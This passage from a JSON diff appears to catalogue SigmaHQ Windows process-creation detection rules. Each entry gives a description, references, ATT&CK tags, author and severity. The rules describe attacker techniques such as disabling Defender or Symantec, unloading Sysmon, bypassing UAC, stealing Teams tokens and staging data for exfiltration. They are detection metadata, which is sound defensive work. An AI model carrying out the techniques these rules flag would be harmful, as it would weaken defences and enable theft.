"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_web_request_cmd.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/10/24", + "filename": "proc_creation_win_susp_web_request_cmd.yml", + "author": "James Pemberton / @4A616D6573", + "level": "medium", + "falsepositive": [ + "Use of Get-Command and Get-Help modules to reference Invoke-WebRequest and Start-BitsTransfer." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious child processes of SysAidServer (as seen in MERCURY threat actor intrusions)", + "uuid": "60bfeac3-0d35-4302-8efb-1dd16f715bc6", + "value": "Suspicious SysAidServer Child", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2022/08/25/mercury-leveraging-log4j-2-vulnerabilities-in-unpatched-systems-to-target-israeli-organizations/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_web_sysaidserver.yml" + ], + "tags": "No established tags", + "creation_date": "2022/08/26", + "filename": "proc_creation_win_susp_web_sysaidserver.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious Windows Error Reporting manager (wermgr.exe) process patterns - suspicious parents / children, execution folders, command lines etc.", + "uuid": "CBEC226F-63D9-4ECA-9F52-DFB6652F24DF", + "value": "Suspicious WERMGR Process Patterns", + "meta": { + "refs": [ + "https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html", + "https://www.echotrail.io/insights/search/wermgr.exe", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wermgr.yml" + ], + "tags": "No established tags", + "creation_date": "2022/10/14", + "filename": "proc_creation_win_susp_wermgr.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may enumerate browser bookmarks to learn more about compromised hosts.\nBrowser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about\ninternal network resources such as servers, tools/dashboards, or other related infrastructure.\n", + "uuid": "725a9768-0f5e-4cb3-aec2-bc5719c6831a", + "value": "Suspicious Where Execution", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1217/T1217.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_where_execution.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1217" + ], + "creation_date": "2021/12/13", + "filename": "proc_creation_win_susp_where_execution.yml", + "author": "frack113, Nasreddine Bencherchali", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of whoami, which is often used by attackers after exploitation / privilege escalation but rarely used by administrators", + "uuid": "e28a5a99-da44-436d-b7a0-2afc20a5f413", + "value": "Whoami Execution", + "meta": { + "refs": [ + "https://brica.de/alerts/alert/public/1247926/agent-tesla-keylogger-delivered-inside-a-power-iso-daa-archive/", + "https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_whoami.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1033", + "car.2016-03-001" + ], + "creation_date": "2018/08/13", + "filename": "proc_creation_win_susp_whoami.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Admin activity", + "Scripts and administrative tools used in the monitored environment", + "Monitoring activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of whoami with suspicious parents or parameters", + "uuid": "8de1cbe8-d6f5-496d-8237-5f44a721c7a0", + "value": "Whoami Execution Anomaly", + "meta": { + "refs": [ + "https://brica.de/alerts/alert/public/1247926/agent-tesla-keylogger-delivered-inside-a-power-iso-daa-archive/", + "https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/", + "https://www.youtube.com/watch?v=DsJ9ByX84o4&t=6s", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_whoami_anomaly.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1033", + "car.2016-03-001" + ], + "creation_date": "2021/08/12", + "filename": "proc_creation_win_susp_whoami_anomaly.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Admin activity", + "Scripts and administrative tools used in the monitored environment", + "Monitoring activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious process command line that uses whoami as first parameter (as e.g. used by EfsPotato)", + "uuid": "e9142d84-fbe0-401d-ac50-3e519fb00c89", + "value": "WhoAmI as Parameter", + "meta": { + "refs": [ + "https://twitter.com/blackarrowsec/status/1463805700602224645?s=12", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_whoami_as_param.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1033", + "car.2016-03-001" + ], + "creation_date": "2021/11/29", + "filename": "proc_creation_win_susp_whoami_as_param.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious winrar execution that involves a file with a .dmp extension, which could be a step in a process of dump file exfiltration", + "uuid": "1ac14d38-3dfc-4635-92c7-e3fd1c5f5bfc", + "value": "Winrar Compressing Dump Files", + "meta": { + "refs": [ + "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_winrar_dmp.yml" + ], + "tags": [ + "attack.collection", + "attack.t1560.001" + ], + "creation_date": "2022/01/04", + "filename": "proc_creation_win_susp_winrar_dmp.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate use of WinRAR with a command line in which .dmp appears accidentally" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious winrar execution in a folder which is not the default installation folder", + "uuid": "4ede543c-e098-43d9-a28f-dd784a13132f", + "value": "Winrar Execution in Non-Standard Folder", + "meta": { + "refs": [ + "https://twitter.com/cyb3rops/status/1460978167628406785", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_winrar_execution.yml" + ], + "tags": [ + "attack.collection", + "attack.t1560.001" + ], + "creation_date": "2021/11/17", + "filename": "proc_creation_win_susp_winrar_execution.yml", + "author": "Florian Roth, Tigzy", + "level": "high", + "falsepositive": [ + "Legitimate use of WinRAR in a folder of a software that bundles WinRAR" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of attacker-controlled WsmPty.xsl or WsmTxt.xsl via winrm.vbs and copied cscript.exe (can be renamed)", + "uuid": "074e0ded-6ced-4ebd-8b4d-53f55908119d", + "value": "AWL Bypass with Winrm.vbs and Malicious WsmPty.xsl/WsmTxt.xsl", + "meta": { + "refs": [ + "https://posts.specterops.io/application-whitelisting-bypass-and-arbitrary-unsigned-code-execution-technique-in-winrm-vbs-c8c24fb40404", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_winrm_awl_bypass.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1216" + ], + "creation_date": "2020/10/06", + "filename": "proc_creation_win_susp_winrm_awl_bypass.yml", + "author": "Julia Fomina, oscd.community", + "level": "medium", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects an attempt to execute code or create service on remote host via winrm.vbs.", + "uuid": "9df0dd3a-1a5c-47e3-a2bc-30ed177646a0", + "value": "Remote Code Execute via Winrm.vbs", + "meta": { + "refs": [ + "https://twitter.com/bohops/status/994405551751815170", + "https://redcanary.com/blog/lateral-movement-winrm-wmi/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_winrm_execution.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1216" + ], + "creation_date": "2020/10/07", + "filename": "proc_creation_win_susp_winrm_execution.yml", + "author": "Julia Fomina, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate use for administartive purposes. Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party utilities", + "uuid": "e2e80da2-8c66-4e00-ae3c-2eebd29f6b6d", + "value": "Compress Data and Lock With Password for Exfiltration With WINZIP", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_winzip.yml" + ], + "tags": [ + "attack.collection", + "attack.t1560.001" + ], + "creation_date": "2021/07/27", + "filename": "proc_creation_win_susp_winzip.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects WMIC executions in which a event consumer gets created in order to establish persistence", + "uuid": "ebef4391-1a81-4761-a40a-1db446c0e625", + "value": "Suspicious WMIC ActiveScriptEventConsumer Creation", + "meta": { + "refs": [ + "https://twitter.com/johnlatwc/status/1408062131321270282?s=12", + "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wmic_eventconsumer_create.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546.003" + ], + "creation_date": "2021/06/25", + "filename": "proc_creation_win_susp_wmic_eventconsumer_create.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate software creating script event consumers" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects WMIC executing suspicious or recon commands", + "uuid": "526be59f-a573-4eea-b5f7-f0973207634d", + "value": "Suspicious WMIC Execution", + "meta": { + "refs": [ + "https://digital-forensics.sans.org/blog/2010/06/04/wmic-draft/", + "https://www.hybrid-analysis.com/sample/4be06ecd234e2110bd615649fe4a6fa95403979acf889d7e45a78985eb50acf9?environmentId=1", + "https://blog.malwarebytes.com/threat-analysis/2016/04/rokku-ransomware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wmic_execution.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047", + "car.2016-03-002" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_susp_wmic_execution.yml", + "author": "Michael Haag, Florian Roth, juju4, oscd.community", + "level": "medium", + "falsepositive": [ + "If using Splunk, we recommend | stats count by Computer,CommandLine following for easy hunting by Computer/CommandLine" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects WMIC executing \"process call create\" with suspicious calls to processes such as \"rundll32\", \"regsrv32\"...etc", + "uuid": "3c89a1e8-0fba-449e-8f1b-8409d6267ec8", + "value": "Suspicious WMIC Execution - ProcessCallCreate", + "meta": { + "refs": [ + "https://thedfirreport.com/2020/10/08/ryuks-return/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wmic_proc_create.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047" + ], + "creation_date": "2020/10/12", + "filename": "proc_creation_win_susp_wmic_proc_create.yml", + "author": "Florian Roth, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects uninstallation or termination of security products using the WMIC utility", + "uuid": "847d5ff3-8a31-4737-a970-aeae8fe21765", + "value": "Wmic Uninstall Security Product", + "meta": { + "refs": [ + "https://twitter.com/cglyer/status/1355171195654709249", + "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", + "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", + "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wmic_security_product_uninstall.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2021/01/30", + "filename": "proc_creation_win_susp_wmic_security_product_uninstall.yml", + "author": "Florian Roth, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Legitimate administration" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects using WorkFolders.exe to execute an arbitrary control.exe", + "uuid": "0bbc6369-43e3-453d-9944-cae58821c173", + "value": "Execution via WorkFolders.exe", + "meta": { + "refs": [ + "https://twitter.com/elliotkillick/status/1449812843772227588", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_workfolders.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2021/10/21", + "filename": "proc_creation_win_susp_workfolders.yml", + "author": "Maxime Thiebaut (@0xThiebaut)", + "level": "high", + "falsepositive": [ + "Legitimate usage of the uncommon Windows Work Folders feature." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects code execution via the Windows Update client (wuauclt)", + "uuid": "d7825193-b70a-48a4-b992-8b5b3015cc11", + "value": "Windows Update Client LOLBIN", + "meta": { + "refs": [ + "https://dtm.uk/wuauclt/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wuauclt.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.execution", + "attack.t1105", + "attack.t1218" + ], + "creation_date": "2020/10/17", + "filename": "proc_creation_win_susp_wuauclt.yml", + "author": "FPT.EagleEye Team", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious Windows Update Agent activity in which a wuauclt.exe process command line doesn't contain any command line flags", + "uuid": "52d097e2-063e-4c9c-8fbb-855c8948d135", + "value": "Suspicious Windows Update Agent Empty Cmdline", + "meta": { + "refs": [ + "https://redcanary.com/blog/blackbyte-ransomware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wuauclt_cmdline.yml" + ], + "tags": "No established tags", + "creation_date": "2022/02/26", + "filename": "proc_creation_win_susp_wuauclt_cmdline.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "ZipExec is a Proof-of-Concept (POC) tool to wrap binary-based tools into a password-protected zip file.", + "uuid": "90dcf730-1b71-4ae7-9ffc-6fcf62bd0132", + "value": "Suspicious ZipExec Execution", + "meta": { + "refs": [ + "https://twitter.com/SBousseaden/status/1451237393017839616", + "https://github.com/Tylous/ZipExec", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_zipexec.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1218", + "attack.t1202" + ], + "creation_date": "2021/11/07", + "filename": "proc_creation_win_susp_zipexec.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration", + "uuid": "85a8e5ba-bd03-4bfb-bbfa-a4409a8f8b98", + "value": "Zip A Folder With PowerShell For Staging In Temp", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1074.001/T1074.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_zip_compress.yml" + ], + "tags": [ + "attack.collection", + "attack.t1074.001" + ], + "creation_date": "2021/07/20", + "filename": "proc_creation_win_susp_zip_compress.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Threat actors can use auditpol binary to change audit policy configuration to impair detection capability.\nThis can be carried out by selectively disabling/removing certain audit policies as well as restoring a custom policy owned by the threat actor.\n", + "uuid": "0a13e132-651d-11eb-ae93-0242ac130002", + "value": "Suspicious Auditpol Usage", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sus_auditpol_usage.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.002" + ], + "creation_date": "2021/02/02", + "filename": "proc_creation_win_sus_auditpol_usage.yml", + "author": "Janantha Marasinghe (https://github.com/blueteam0ps)", + "level": "high", + "falsepositive": [ + "Admin activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the usage of Sysinternals Tools due to accepteula option being seen in the command line.", + "uuid": "7cccd811-7ae9-4ebe-9afd-cb5c406b824b", + "value": "Usage of Sysinternals Tools", + "meta": { + "refs": [ + "https://twitter.com/Moti_B/status/1008587936735035392", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_eula_accepted.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1588.002" + ], + "creation_date": "2017/08/28", + "filename": "proc_creation_win_sysinternals_eula_accepted.yml", + "author": "Markus Neis", + "level": "low", + "falsepositive": [ + "Legitimate use of SysInternals tools", + "Programs that use the same Registry Key" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of Sysinternals PsService for service reconnaissance or tamper", + "uuid": "3371f518-5fe3-4cf6-a14b-2a0ae3fd8a4f", + "value": "Use of Sysinternals PsService", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/sysinternals/downloads/psservice", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_psservice.yml" + ], + "tags": [ + "attack.discovery", + "attack.persistence", + "attack.t1543.003" + ], + "creation_date": "2022/06/16", + "filename": "proc_creation_win_sysinternals_psservice.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate use of PsService by an administrator" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of SharpEvtHook, a tool to tamper with Windows event logs", + "uuid": "bedfc8ad-d1c7-4e37-a20e-e2b0dbee759c", + "value": "SharpEvtMute EvtMuteHook Load", + "meta": { + "refs": [ + "https://github.com/bats3c/EvtMute", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysmon_disable_sharpevtmute.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.002" + ], + "creation_date": "2022/09/07", + "filename": "proc_creation_win_sysmon_disable_sharpevtmute.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect possible Sysmon driver unload", + "uuid": "4d7cda18-1b12-4e52-b45c-d28653210df8", + "value": "Sysmon Driver Unload", + "meta": { + "refs": [ + "https://www.darkoperator.com/blog/2018/10/5/operating-offensively-against-sysmon", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysmon_driver_unload.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070", + "attack.t1562", + "attack.t1562.002" + ], + "creation_date": "2019/10/23", + "filename": "proc_creation_win_sysmon_driver_unload.yml", + "author": "Kirill Kiryanov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious process executions in which Sysmon itself is the parent of a process, which could be a sign of exploitation (e.g. CVE-2022-41120)", + "uuid": "6d1058a4-407e-4f3a-a144-1968c11dc5c3", + "value": "Suspicious Sysmon as Execution Parent", + "meta": { + "refs": [ + "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41120", + "https://twitter.com/filip_dragovic/status/1590052248260055041", + "https://twitter.com/filip_dragovic/status/1590104354727436290", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysmon_exploitation.yml" + ], + "tags": "No established tags", + "creation_date": "2022/11/10", + "filename": "proc_creation_win_sysmon_exploitation.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects UAC bypass method using Windows event viewer", + "uuid": "be344333-921d-4c4d-8bb8-e584cf584780", + "value": "UAC Bypass via Event Viewer", + "meta": { + "refs": [ + "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/", + "https://www.hybrid-analysis.com/sample/e122bc8bf291f15cab182a5d2d27b8db1e7019e4e96bb5cdbd1dfe7446f3f51f?environmentId=100", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysmon_uac_bypass_eventvwr.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002", + "car.2019-04-001" + ], + "creation_date": "2017/03/19", + "filename": "proc_creation_win_sysmon_uac_bypass_eventvwr.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects process creation events that use the Sysnative folder (common for CobaltStrike spawns)", + "uuid": "3c1b5fb0-c72f-45ba-abd1-4d4c353144ab", + "value": "Process Creation Using Sysnative Folder", + "meta": { + "refs": [ + "https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysnative.yml" + ], + "tags": [ + "attack.t1055" + ], + "creation_date": "2022/08/23", + "filename": "proc_creation_win_sysnative.yml", + "author": "Max Altgelt", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a Windows program executable started from a suspicious folder", + "uuid": "e4a6b256-3e47-40fc-89d2-7a477edd6915", + "value": "System File Execution Location Anomaly", + "meta": { + "refs": [ + "https://twitter.com/GelosSnake/status/934900723426439170", + "https://asec.ahnlab.com/en/39828/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_system_exe_anomaly.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036" + ], + "creation_date": "2017/11/27", + "filename": "proc_creation_win_system_exe_anomaly.yml", + "author": "Florian Roth, Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Exotic software" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects attempts to remove windows defender configuration using the 'MpPreference' cmdlet", + "uuid": "07e3cb2c-0608-410d-be4b-1511cb1a0448", + "value": "Tamper Windows Defender Remove-MpPreference", + "meta": { + "refs": [ + "https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/windows-10-controlled-folder-access-event-search/ba-p/2326088", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tamper_defender_remove_mppreference.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2022/08/05", + "filename": "proc_creation_win_tamper_defender_remove_mppreference.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Well-known TAP software installation. Possible preparation for data exfiltration using tunneling techniques", + "uuid": "99793437-3e16-439b-be0f-078782cf953d", + "value": "Tap Installer Execution", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tap_installer_execution.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048" + ], + "creation_date": "2019/10/24", + "filename": "proc_creation_win_tap_installer_execution.yml", + "author": "Daniil Yugoslavskiy, Ian Davis, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate OpenVPN TAP insntallation" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects one of the possible scenarios for disabling symantec endpoint protection.\nSymantec Endpoint Protection antivirus software services incorrectly implement the protected service mechanism.\nAs a result, the NT AUTHORITY/SYSTEM user can execute the taskkill /im command several times ccSvcHst.exe /f, thereby killing the process belonging to the service, and thus shutting down the service.\n", + "uuid": "4a6713f6-3331-11ed-a261-0242ac120002", + "value": "Taskkill Symantec Endpoint Protection", + "meta": { + "refs": [ + "https://www.exploit-db.com/exploits/37525", + "https://community.spiceworks.com/topic/2195015-batch-script-to-uninstall-symantec-endpoint-protection", + "https://community.broadcom.com/symantecenterprise/communities/community-home/digestviewer/viewthread?MessageKey=6ce94b67-74e1-4333-b16f-000b7fd874f0&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=digestviewer", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_taskkill_sep.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2022/09/13", + "filename": "proc_creation_win_taskkill_sep.yml", + "author": "Ilya Krestinichev, Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "The Tasks folder in system32 and syswow64 are globally writable paths.\nAdversaries can take advantage of this and load or influence any script hosts or ANY .NET Application \nin Tasks to load and execute a custom assembly into cscript, wscript, regsvr32, mshta, eventvwr\n", + "uuid": "cc4e02ba-9c06-48e2-b09e-2500cace9ae0", + "value": "Tasks Folder Evasion", + "meta": { + "refs": [ + "https://twitter.com/subTee/status/1216465628946563073", + "https://gist.github.com/am0nsec/8378da08f848424e4ab0cc5b317fdd26", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_task_folder_evasion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.execution", + "attack.t1574.002" + ], + "creation_date": "2020/01/13", + "filename": "proc_creation_win_task_folder_evasion.yml", + "author": "Sreeman", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects an access to authentication tokens and accounts of Microsoft Teams desktop application.", + "uuid": "d2eb17db-1d39-41dc-b57f-301f6512fa75", + "value": "Suspicious Command With Teams Objects Pathes", + "meta": { + "refs": [ + "https://www.bleepingcomputer.com/news/security/microsoft-teams-stores-auth-tokens-as-cleartext-in-windows-linux-macs/", + "https://www.vectra.ai/blogpost/undermining-microsoft-teams-security-by-mining-tokens", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_teams_suspicious_command_line_cred_access.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1528" + ], + "creation_date": "2022/09/16", + "filename": "proc_creation_win_teams_suspicious_command_line_cred_access.yml", + "author": "@SerkinValery", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a process spawned by the terminal service server process (this could be an indicator for an exploitation of CVE-2019-0708)", + "uuid": "1012f107-b8f1-4271-af30-5aed2de89b39", + "value": "Terminal Service Process Spawn", + "meta": { + "refs": [ + "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/rdp-stands-for-really-do-patch-understanding-the-wormable-rdp-vulnerability-cve-2019-0708/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_termserv_proc_spawn.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190", + "attack.lateral_movement", + "attack.t1210", + "car.2013-07-002" + ], + "creation_date": "2019/05/22", + "filename": "proc_creation_win_termserv_proc_spawn.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects different hacktools used for relay attacks on Windows for privilege escalation", + "uuid": "5589ab4f-a767-433c-961d-c91f3f704db1", + "value": "SMB Relay Attack Tools", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1557/001/", + "https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/", + "https://pentestlab.blog/2017/04/13/hot-potato/", + "https://github.com/ohpe/juicy-potato", + "https://hunter2.gitbook.io/darthsidious/other/war-stories/domain-admin-in-30-minutes", + "https://hunter2.gitbook.io/darthsidious/execution/responder-with-ntlm-relay-and-empire", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tools_relay_attacks.yml" + ], + "tags": [ + "attack.execution", + "attack.t1557.001" + ], + "creation_date": "2021/07/24", + "filename": "proc_creation_win_tools_relay_attacks.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Legitimate files with these rare hacktool names" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": 